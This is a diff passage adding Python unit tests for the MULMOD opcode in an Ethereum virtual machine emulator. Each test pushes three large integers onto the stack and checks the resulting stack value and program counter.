+    def test_MULMOD_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008593519205859030518839909394011324062893683996799L])
+
+    def test_MULMOD_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [91534152025542227038538073507360954746680149896L])
+
+    def test_MULMOD_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [97433442488726861213578988847752201310395502592L])
+
+    def test_MULMOD_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [194866884977453722427157977695504402620791005184L])
+
+    def test_MULMOD_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [292300327466180583640736966543256603931186507776L])
+
+    def test_MULMOD_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [108587248129216521041659901496828357798423901649189515989682796627103442447309L])
+
+    def test_MULMOD_82(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_83(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_84(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_85(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_86(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_87(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_88(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_89(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_90(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_91(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_92(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_93(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_94(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_95(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_96(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_97(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_98(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_99(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_100(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_101(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_102(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_103(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_104(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_105(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_106(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_107(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
